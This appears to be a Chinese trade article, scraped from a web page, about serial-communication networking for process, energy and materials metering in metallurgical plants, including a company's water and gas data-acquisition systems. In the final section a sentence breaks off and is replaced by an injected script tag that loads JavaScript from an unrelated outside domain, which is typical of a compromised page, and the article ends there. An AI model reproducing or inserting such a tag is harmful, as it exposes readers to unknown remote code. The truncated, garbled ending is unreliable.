串行通信联网技术在冶金自动化监控领域的发展与应用

近些年来,冶金行业的自动化系统的应用发展得越来越快,生产中各环节的监控系统应用也越来越多。由于串行通讯方式实现方便,系统费用低,所以许多监控系统大都采用串行通讯技术来实现。但因以太网及现场总线的广泛应用,一些与plc等控制设备连接的监控系统,多采用以太网及现场总线的通讯方式。其实现场总线与rs485在物理界面上是一致的,只是各种现场总线有自己的通讯协议而已。总体来讲,串行通讯技术的应用非常广泛,尤其是支持串口设备联入以太网的接口装置,会使串口设备的联网更加方便、应用也会更加广泛。

  生产运营各环节中的串行通讯设备联网状况

  在冶金行业中,串行通讯技术主要应用于以下三个方面:

  (1) 生产工艺过程监控系统;

  (2) 生产中所涉及的各种能源产耗的计量监控系统;

  (3) 生产过程中的原料、产品及半成品的计量数据采集系统。

  下面结合冶金企业这三个方面的应用实际,介绍一下用串行通讯技术进行智能设备联网的情况。

  1 生产工艺过程监控系统

  在生产过程中的自动化控制系统中,大多都配有上位机监控系统。尤其是稍早些的系统,由于当时以太网和现场总线在工业领域的应用还不普及,再加上计算机的价格较高,这样的监控设备往往只配备一套,这种情况非常适合采用串行通讯方式。现在这样的系统大都采用了以太网或现场总线的通讯方式,而且一个系统中往往要配备多套监控设备。不过在有些工艺控制上,如连铸机的生产监控、轧钢加热炉监控系统上这样的系统也有使用。

  有些生产过程监控系统,并不采用与控制设备连接的方式,而是上位机通过串口连接数据采集模块(甚至是控制模块)或是带有串口的智能仪表,实现对生产过程中各种介质的压力、温度、流量的监控。由于这样的系统应用灵活,系统投资少,使用效果明显,所以应用越来越多。这样的系统往往规模不大,适合在采用常规控制的旧系统上实施。这样的系统既方便生产操作,又能进行历史数据查询、分析,对提高产品质量有很大好处。另外,利用plc通过rs485挂接多台智能仪表,采集现场温度、压力、流量等数据,对设备实施控制的模式,在近来投运的系统中也有采用。

  2 能源产耗量计量监控系统

  能源计量监控系统在冶金行业不仅应用越来越多,而且系统的覆盖范围也越来越广。冶金企业实施这类系统的原因一方面是节能降耗、降低产品成本的迫切需求;另一方面是数据采集设备和计算机设备的价格比过去有了大幅下降,不必投入很大的实施费用。

  就我们企业来讲,由于近年来水资源日益匮乏,节水工作日趋重要。为了节水降耗,我们企业于98年实施了水计量检测系统。该系统除了上层网络外,全部采用了串行通讯技术实现联网。其中数据采集设备包括主采站、串行通讯控制模块(作分站)、多串口通讯卡、具有rs485的流量仪表、串口数传电台(rs232)、rs485/422通迅中继器。组成了如图1所示的数采系统。

图1 水计量数据采集系统图

  在该系统中,多串口卡为4口rs485卡;分站为2串口的用户可开发通讯控制器;电台配有rs232串口可与计算机通讯;通迅中继器在有线超过1.2千米的地方进行信号放大(图中略)。对于较远的计量点,采用了无线通讯方式。有线方式上设立分站,是依据单段上所连接设备的限制以及地理位置的限制设计的,使系统结构更加合理。该系统覆盖了4千米范围的计量点,采集了近50个计量数据。主采站与企业主干网连接,使企业各职能部门能实时查询各个计量点和各单位的用水情况。该系统对节约水利资源,发挥了重要作用。

  水计量数采系统投入运行后,我们企业又实施了煤气计量数采系统。实施煤气计量数采系统不仅是为了是煤气数据可以进行实时检测,主要原因是因为企业内部所生产的煤气种类多样,利用计算机进行数据采集,对流量数据可以进行温度、压力补偿,还可以根据不同煤气的不同热值情况进行补偿。煤气计量系统与水系统所不同的是,煤气系统采用近20块8路a/d数采模块,接收常规仪表的4-20ma信号,通过rs485与上位机进行连接,组成串行系统通讯网络。系统共有50多个采集点的温度、压力及热值数据,覆盖范围约3千米。系统投运以来运行稳定可靠。该系统数采部分的网络结构如图2所示。

  

图2 煤气计量数据采集系统图

  目前,我们企业正在计划将所有能源仪表全部入网,包括电力、氧气、氮气和压缩空气,仍采用串行通讯方式,并计划与水系统容于一体,使全公司所有的能源数据都采集进机。实现能源计量工作的现代化管理。

  3 物资计量数据采集

  在物资运营计量方面,很多冶金企业的也都进行的联网,但网络?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计